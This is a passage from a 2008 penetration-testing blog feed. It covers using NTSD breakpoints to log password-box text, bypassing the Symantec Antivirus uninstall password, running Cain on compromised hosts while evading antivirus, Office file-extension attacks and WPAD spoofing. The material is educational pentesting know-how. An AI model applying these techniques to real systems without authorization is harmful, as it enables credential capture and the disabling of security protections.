new;"&gt;.text:0043461E                 push    eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;.text:0043461F                 call    mightbe_MsoPopinfoGet&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;My bet is:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Live Meeting client is not vulnerable to this flaw, because the codebase comes from PowerPoint Viewer 2007.&lt;/li&gt;&lt;li&gt;And PowerPoint Viewer 2007 has been patched against this flaw since the beginning, whereas PowerPoint 2007 "Gold" and SP1 have been left vulnerable.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Men, that was close...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-6623214609853399826?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/6623214609853399826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=6623214609853399826' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/6623214609853399826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/6623214609853399826'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2008/08/ms08-051-secrets.html' title='MS08-051 secrets'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-8104805662031576892</id><published>2008-08-08T08:00:00.000+01:00</published><updated>2008-08-08T08:00:11.186+01:00</updated><title type='text'>Pentester trick #5: debugging without debugger</title><content type='html'>Having a debugger at hand is always useful in corner case pentesting (cf. &lt;a href="http://newsoft-tech.blogspot.com/2008/08/pentester-trick-3-removing-symantec.html"&gt;bypassing Symantec password&lt;/a&gt;). However, even if &lt;a href="http://www.ollydbg.de/"&gt;OllyDbg&lt;/a&gt; is a light-weight, standalone debugger, it might not always be possible to install new applications on the target system (e.g. Citrix servers, Web kiosks, mission critical servers).&lt;br /&gt;&lt;br /&gt;Fortunately, there is a built-in command-line debugger bundled with at least Windows 2000, XP and 2003 (this debugger has been removed from Windows Vista). And I am not talking about DEBUG.EXE ;) I am talking about NTSD.EXE, which is originally part of the &lt;a href="http://www.microsoft.com/whdc/devtools/debugging/default.mspx"&gt;Debugging Tools for Windows&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Warning: NTSD has not been upgraded since Windows 2000. On Windows XP SP2, NTSD will randomly crash with a "BEX error" message (even if hardware DEP is not enabled).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A useful application of debugging can be logging textboxes (which include &lt;a href="http://www.nirsoft.net/utils/astlog.html"&gt;asterisks protected boxes&lt;/a&gt;). Let's take a running NOTEPAD.EXE process for instance. The following command will attach NTSD to this process:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;ntsd -pn notepad.exe&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The WinDbg commands would be:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;bp GetWindowTextA "r $t0=poi(esp+8); gu; da @$t0; g;"&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;bp GetWindowTextW "r $t1=poi(esp+8); gu; du @$t1; g;"&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Explanation: the target functions (ANSI and Unicode versions) have the following prototype:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;int GetWindowText( HWND &lt;/span&gt;&lt;i style="font-family: courier new;"&gt;hWnd&lt;/i&gt;&lt;span style="font-family:courier new;"&gt;, LPTSTR &lt;/span&gt;&lt;i style="font-family: courier new;"&gt;lpString&lt;/i&gt;&lt;span style="font-family:courier new;"&gt;, int &lt;/span&gt;&lt;i style="font-family: courier new;"&gt;nMaxCount&lt;/i&gt;&lt;span style="font-family:courier new;"&gt; );&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;At the function entry point, save the &lt;span style="font-style: italic;"&gt;lpString&lt;/span&gt; pointer (esp+8) into a temporary register, then go up (until return), and read output value back.&lt;br /&gt;&lt;br /&gt;Unfortunately, this will not work with NTSD (&lt;span style="font-style: italic;"&gt;BEX error&lt;/span&gt;). We will have to find the RET address manually (using the &lt;span style="font-style: italic;"&gt;step over&lt;/span&gt; or the &lt;span style="font-style: italic;"&gt;unassemble&lt;/span&gt; command), then set the following breakpoints:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;bp 7e3b218c "da poi(esp+8); g;"&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;bp 7e39ce0b &lt;/span&gt;&lt;/span&gt; &lt;span style="font-family: courier new;font-size:85%;" &gt;"du poi(esp+8); g;"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then if we try to replace "it" by "works" using NOTEPAD menu:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;[...]&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;0100a800  "it"&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;0100a700  "works"&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;[...]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;todo&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Next post: how to log form boxes inside Internet Explorer.&lt;/span&gt;&lt;br /&gt;&lt;/todo&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-8104805662031576892?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/8104805662031576892/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=8104805662031576892' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/8104805662031576892'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/8104805662031576892'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2008/08/pentester-trick-5-debugging-without.html' title='Pentester trick #5: debugging without debugger'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-5577528779044068948</id><published>2008-08-01T09:04:00.004+01:00</published><updated>2008-08-01T09:51:03.234+01:00</updated><title type='text'>Pentester trick #4: removing Symantec Antivirus 10.2 without knowing the password</title><content type='html'>Antivirus software is often the enemy of pentesting, because most useful tools (Cain, and even NetCat) are detected as "Potentially Unwanted Programs".&lt;br /&gt;&lt;br /&gt;Some antivirus are easy to disable (like stopping a service), others are a real pain (non stoppable drivers). Symantec Enterprise 10.2 with anti-tampering options belongs to the second category.&lt;br /&gt;&lt;br /&gt;Symantec Antivirus can be removed from the "Add/Remove Programs" Control Panel menu. However it asks for a password on removal.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/tech/SymantecPassword.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://newsoft.dyndns.org/tech/SymantecPassword.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This password is not a product feature, but a feature of Windows Installer subsystem. Therefore it is very easy to bypass. First step is to attach a debugger (like &lt;a href="http://www.ollydbg.de/"&gt;OllyDbg&lt;/a&gt;) to the &lt;span style="font-family:courier new;"&gt;MsiExec.exe&lt;/span&gt; process the password window is belonging to (this requires Administrative rights or Debug priviledge).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/tech/SymantecMSIEXEC.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://newsoft.dyndns.org/tech/SymantecMSIEXEC.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Second step is to set a breakpoint on &lt;span style="font-family:courier new;"&gt;GetWindowTextA&lt;/span&gt;. Then run the program, enter any password, and the breakpoint should be triggered. From that point, step out a few times until &lt;span style="font-family:courier new;"&gt;TEST AL, AL&lt;/span&gt; is encountered.&lt;br /&gt;&lt;br /&gt;Setting &lt;span style="font-family:courier new;"&gt;AL&lt;/span&gt; register to any non-zero value allows product uninstall.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/tech/SymantecTest.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://newsoft.dyndns.org/tech/SymantecTest.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Note: ECX and EDX registers point to (entered and expected) password hashes. But this is an other story :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-5577528779044068948?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/5577528779044068948/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=5577528779044068948' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/5577528779044068948'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/5577528779044068948'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2008/08/pentester-trick-3-removing-symantec.html' title='Pentester trick #4: removing Symantec Antivirus 10.2 without knowing the password'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-1465562255060294751</id><published>2008-04-06T15:58:00.003+01:00</published><updated>2008-04-06T17:55:08.872+01:00</updated><title type='text'>The case of "thumbs.db" file</title><content type='html'>My Windows skills were recently challenged by a &lt;a href="http://sid.rstack.org/blog/tb.php?id=257&amp;amp;chk=jyu3oq"&gt;blog post&lt;/a&gt; of &lt;a href="http://sid.rstack.org/"&gt;Cédric Blancher&lt;/a&gt; about the "thumbs.db" file internals.&lt;br /&gt;&lt;br /&gt;It is widely documented that this file is an OLE container for holding thumbnail information, when the corresponding Explorer &lt;a href="http://www.tunexp.com/tips/work_with_multimedia/disable_the_thumbnail_cache/"&gt;option&lt;/a&gt; is checked (which is the default configuration). Some Open Source &lt;a href="http://vinetto.sourceforge.net/"&gt;tools&lt;/a&gt; even exist to parse the "thumbs.db" file.&lt;br /&gt;&lt;br /&gt;However, there is one more question that has been left unanswered: "how is custom image ordering preserved?".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Naive approach&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A quick test yields the following empirical result:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Within Explorer, browse a folder which has a sub-folder where some images are stored. A "thumbs.db" file is created in this sub-folder, if necessary.&lt;/li&gt;&lt;li&gt;Enter the sub-folder and move images around. "Thumbs.db" file size increases.&lt;/li&gt;&lt;li&gt;Backup the existing "thumbs.db" file with the following commands:&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;attrib -r -s -h thumbs.db&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;copy thumbs.db backup.db&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Shuffle images again. Compare the new "thumbs.db" file with the backup, using the following command:&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;attrib -r -s -h thumbs.db&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;fc /b backup.db thumbs.db&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Files should be exactly the same!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;First trail&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In a sense, this is perfectly logical in Windows world, since &lt;span style="font-style: italic;"&gt;image ordering is a per-user setting&lt;/span&gt;. Two users sharing the same computer could order images differently without affecting each other's view. It would make no sense to store this is information in a single, shared file.&lt;br /&gt;&lt;br /&gt;Per-user settings could be stored in a configuration file (e.g. ".ini" file) inside the &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;%UserProfile%&lt;/span&gt;&lt;/span&gt; directory, but this is very "Windows 3.1" style.&lt;br /&gt;&lt;br /&gt;At this point, we rather suspect that settings are stored under the HKCU registry hive.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Chasing the culprit&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx"&gt;Process Monitoring&lt;/a&gt; the Explorer process could quickly become exhausting, given the amount of registry keys that are accessed during normal system operation. We will rather try to pinpoint the system component that manages the "thumbs.db" file.&lt;br /&gt;&lt;br /&gt;A fast and efficient approach is to search for string references in system directories:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-size:85%;" &gt;C:\WINDOWS\SYSTEM32&gt;strings *.dll | findstr /i thumbs.db&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\SYSTEM32\mydocs.dll: thumbs.db&lt;br /&gt;C:\WINDOWS\SYSTEM32\shell32.dll: Thumbs.db&lt;br /&gt;C:\WINDOWS\SYSTEM32\shell32.dll: thumbs.db&lt;br /&gt;C:\WINDOWS\SYSTEM32\wmp.dll: thumbs.db&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In this case, we use &lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb897439.aspx"&gt;strings.exe&lt;/a&gt; from SysInternals, which has the big advantage over various "grep" ports to be able to handle ANSI and Unicode strings all together.&lt;br /&gt;&lt;br /&gt;A quick look inside &lt;span style="font-family: courier new;font-size:85%;" &gt;mydocs.dll&lt;/span&gt; shows a string reference from &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;CleanupSystemFolder()&lt;/span&gt;&lt;/span&gt; function, which does not seem to be related to our matter. Windows Media Player library (&lt;span style="font-family: courier new;font-size:85%;" &gt;wmp.dll&lt;/span&gt;) does not seem to be a valid candidate either.  Therefore, the core processing should be done in &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;shell32.dll&lt;/span&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Shell32 internals&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Shell32 is a rather old and complex system component - a complete analysis is out of question.&lt;br /&gt;&lt;br /&gt;However a quick look inside this component yields interesting information:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;It makes heavy use of the &lt;a href="http://en.wikipedia.org/wiki/Component_Object_Model"&gt;COM model&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;It holds many interestingly named C++ classes, like CThumbnailMenu, CThumbStore and CEnumThumbStore.&lt;/li&gt;&lt;li&gt;Thumbnail processing is done in the background by a worker thread. Therefore changes are not immediately reflected, which hampers the Process Monitoring approach.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;The key point is that CThumbStore class seems to implement &lt;a href="http://msdn2.microsoft.com/en-us/library/ms687223%28VS.85%29.aspx"&gt;IPersistFile&lt;/a&gt;, &lt;a href="http://msdn2.microsoft.com/en-us/library/bb775348%28VS.85%29.aspx"&gt;IPersistFolder&lt;/a&gt;, &lt;a href="http://msdn2.microsoft.com/en-us/library/ms679731%28VS.85%29.aspx"&gt;IPersistStorage&lt;/a&gt; and &lt;a href="http://msdn2.microsoft.com/en-us/library/bb761154%28VS.85%29.aspx"&gt;IShellImageStore&lt;/a&gt; interfaces, among others.&lt;br /&gt;&lt;br /&gt;This should ring a bell about &lt;a href="http://msdn2.microsoft.com/en-us/library/aa768185%28VS.85%29.aspx"&gt;property bags&lt;/a&gt;, which is the standard way for a COM object to store opaque, persistent data. Therefore we will make a great leap forward, and search directly for the "bags" keyword inside the binary file.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Beginning to see the light&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The search for "bags" is successful: there is very few references, with very interesting content.&lt;br /&gt;&lt;br /&gt;The first reference comes from this registry key:&lt;br /&gt;&lt;span style="font-family: courier new;font-size:85%;" &gt;HKCU\Software\Microsoft\Windows\ShellNoRoam\Bags&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It is referenced from:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;CDefView::_SaveGlobalViewState()&lt;br /&gt;CDefView::_ResetGlobalViewState()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The second reference comes from this registry sub-key:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;DUIBags\ShellFolders\{00000000-0000-0000-0000-000000000000}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It is referenced from:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;CDUIView::_InitializeShellFolderPropertyBag()&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Under the "ShellNoRoam" registry key, we could find thousands of numeric subkeys, which in turn hold values of interest, like the coordinates of the image. After digging a little more, we gather the following information:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Monitoring the "ShellNoRoam" key with Process Monitor reveals that registry information is updated only when exiting the folder.&lt;/li&gt;&lt;li&gt;Custom image ordering will be used on folder re-opening only if "remember each folder's view settings" is checked in Explorer configuration. Otherwise default layout is used.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;There is a &lt;a href="http://support.microsoft.com/kb/813711"&gt;bug&lt;/a&gt; in Windows XP pre-SP2 that prevents creating more than 200 custom views :)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;At this point, there are still open questions, like "how does the &lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;ItemPos&lt;/span&gt;&lt;/span&gt; binary blob relates to effective image position?". This would require in-depth analysis of &lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;CViewState::LoadPositionBlob()&lt;/span&gt;&lt;/span&gt; maybe.&lt;br /&gt;&lt;br /&gt;But most of the question is answered for now!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Conclusion&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;With a minimal amount of code analysis, we were able to pinpoint the code block that manages the "thumbs.db" file, and how persistent image location data is internally managed by the Explorer process.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Final note: this article relates to Windows XP SP2 only. Windows Vista might exhibit different behaviour.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-1465562255060294751?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/1465562255060294751/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=1465562255060294751' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/1465562255060294751'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/1465562255060294751'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2008/04/case-of-thumbsdb-file.html' title='The case of &quot;thumbs.db&quot; file'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-8072334532201657926</id><published>2008-04-04T22:02:00.005+01:00</published><updated>2008-04-04T22:39:03.915+01:00</updated><title type='text'>The truth about Access 0-days</title><content type='html'>Security flaws in popular Office file formats (namely DOC, XLS and PPT) have been very common in the past few years, accounting for a large amount of Microsoft Security Bulletins (cf. slide #4 on &lt;a href="http://download.microsoft.com/download/9/5/1/951c5d52-020b-4cda-b000-411864b3e4f2/Jour1-243-1-Fuzzing_des_documents_Office.pptx"&gt;this presentation&lt;/a&gt;). They have been also involved in high-profile targeted attacks.&lt;br /&gt;&lt;br /&gt;However, flaws in lesser used Office file formats (namely PUB and MDB) were largely disregarded by Microsoft, for at least 2 reasons:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Access (.MDB) and Publisher (.PUB) applications are not part of Office Standard suite - they are available in higher grade SKUs only.&lt;/li&gt;&lt;li&gt;Access file format is considered "insecure by design" since automatic code execution on file opening cannot be blocked. Therefore MDB files are included in Microsoft &lt;a href="http://support.microsoft.com/kb/883260"&gt;blocked&lt;/a&gt; &lt;a href="http://support.microsoft.com/kb/925330"&gt;list&lt;/a&gt;. This list is enforced by Outlook application on attachments, among others.&lt;/li&gt;&lt;/ul&gt;A large amount of "buffer overflow"-like bugs involving MDB files have been floating around since &lt;a href="http://nvd.nist.gov/nvd.cfm?cvename=CVE-2005-0944"&gt;year 2005&lt;/a&gt; at least.&lt;br /&gt;&lt;br /&gt;Some malware authors recently found a way to bypass Microsoft filters by sending 2 attachments in the same email (or the same ZIP file): the first one is an approved Office file format (let's say DOC), the other has an unknown extension.&lt;br /&gt;&lt;br /&gt;However, when the Word document tries to open the second one as an ODBC Datasource using Jet Engine (where the flaw lies), it will disregard the extension.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.avertlabs.com/research/blog/index.php/2008/03/21/microsoft-jet-database-engine-attacked-through-word/trackback/"&gt;McAfee Avert Labs&lt;/a&gt; blogged about that, but they missed something that is regularly re-discovered: OLE documents will be opened by the right Office application regardless of their extension.&lt;br /&gt;&lt;br /&gt;How to reproduce:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Create a new Word document named "test.doc".&lt;/li&gt;&lt;li&gt;Rename "test.doc" into "test.xxx" (the extension shall not be already registered).&lt;/li&gt;&lt;li&gt;Double-click on "test.xxx". Enjoy!&lt;/li&gt;&lt;/ol&gt;Therefore, if you want to be protected against Office-based attacks, you shall block any unknown extension (or rather, use a white-list of "known safe" extensions) at your mail gateway.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-8072334532201657926?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/8072334532201657926/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=8072334532201657926' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/8072334532201657926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/8072334532201657926'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2008/04/truth-about-access-0-days.html' title='The truth about Access 0-days'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-8548503040236336903</id><published>2008-03-03T12:00:00.002+01:00</published><updated>2008-03-03T16:54:50.224+01:00</updated><title type='text'>Pentester trick #3: using Cain without installing it</title><content type='html'>&lt;a href="http://www.oxid.it/"&gt;Cain&lt;/a&gt; is one of the most useful pentesting tool for Windows. It has been rated #9 in the &lt;a href="http://sectools.org/"&gt;Top 100&lt;/a&gt; of security tools.&lt;br /&gt;&lt;br /&gt;While Cain is powerful when used on the pentester's computer, it is quite limited in terms of "pivoting" (i.e. using a compromised host as a bouncer to reach another part of the target network).&lt;br /&gt;&lt;br /&gt;Installing Cain on a compromised host yields at least two severe limitations :&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Cain requires &lt;a href="http://www.winpcap.org/"&gt;Winpcap&lt;/a&gt;. If Winpcap is not found, Cain will refuse to load. Winpcap installs a new driver, and might require a reboot, which is not good in terms of footprint.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Cain is being detected as &lt;span style="font-style: italic;"&gt;Potentially Unwanted Software&lt;/span&gt; by most antivirus software out there.&lt;/li&gt;&lt;/ol&gt;Fortunately, both limitations can be removed.&lt;br /&gt;&lt;br /&gt;To have Cain loading properly, it is enough to add the following DLLs in Cain directory :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;packet.dll&lt;/li&gt;&lt;li&gt;wanpacket.dll&lt;/li&gt;&lt;li&gt;wpcap.dll&lt;/li&gt;&lt;/ul&gt;Note#1: without Winpcap driver, Cain will lack network features like password sniffing and ARP poisoning.&lt;br /&gt;&lt;br /&gt;To make Cain undetected by most (if not all) antivirus software, the software must be "repacked". However, this is another story :)&lt;br /&gt;&lt;br /&gt;Note#2: Cain still requires administrative rights on the compromised host.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-8548503040236336903?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/8548503040236336903/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=8548503040236336903' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/8548503040236336903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/8548503040236336903'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2008/03/pentester-trick-3-using-cain-without.html' title='Pentester trick #3: using Cain without installing it'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-4954701825036762442</id><published>2008-02-20T07:18:00.002+01:00</published><updated>2008-02-22T22:40:32.358+01:00</updated><title type='text'>Pentester trick #2: faking NetBIOS names</title><content type='html'>&lt;span style="font-weight: bold;font-size:130%;" &gt;Trick #2: faking NetBIOS names&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There has been a buzz at BlackHat US 2007 around &lt;a href="https://www.blackhat.com/presentations/bh-usa-07/Moore_and_Valsmith/Presentation/bh-usa-07-moore_and_valsmith.pdf"&gt;H.D.Moore+Valsmith attack&lt;/a&gt; against Internet Explorer autoconfiguration feature.&lt;br /&gt;&lt;br /&gt;To sum up, if anything is named after "WPAD" on the network, it will be considered as the enterprise Web proxy by Internet Explorer.&lt;br /&gt;&lt;br /&gt;The original attack is based on the "Dynamic DNS Update" feature of Windows DNS servers. DNS updates can be:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;DNS-based, unauthenticated. Game over.&lt;/li&gt;&lt;li&gt;DNS-based, authenticated. Nice try, but since any domain user can create up to &lt;a href="http://support.microsoft.com/kb/243327"&gt;10 computer accounts&lt;/a&gt; in Active Directory, it is quite easy to name a computer "WPAD", join a domain and authenticate.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;DHCP-based. Game over, too: the DNS server will blindly trust your host name.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Ok, but what if "Dynamic DNS Update" feature has been disabled? Or if you need to quickly register names? Joining a new computer to the domain is &lt;span style="font-style: italic;"&gt;not an option&lt;/span&gt; in this case.&lt;br /&gt;&lt;br /&gt;Fortunately, everybody who has sniffed a Windows network for more than 5 minutes knows that most Windows clients "in the wild" use misconfigured name resolution: they rely on NBNS (&lt;a href="http://en.wikipedia.org/wiki/NBNS"&gt;NetBIOS Name Service&lt;/a&gt;) as a fallback.&lt;br /&gt;&lt;br /&gt;So how could you take advantage of a broadcasted NBNS request for "WPAD" (or anything else) to redirect target's traffic?&lt;br /&gt;&lt;br /&gt;One solution would be to use &lt;a 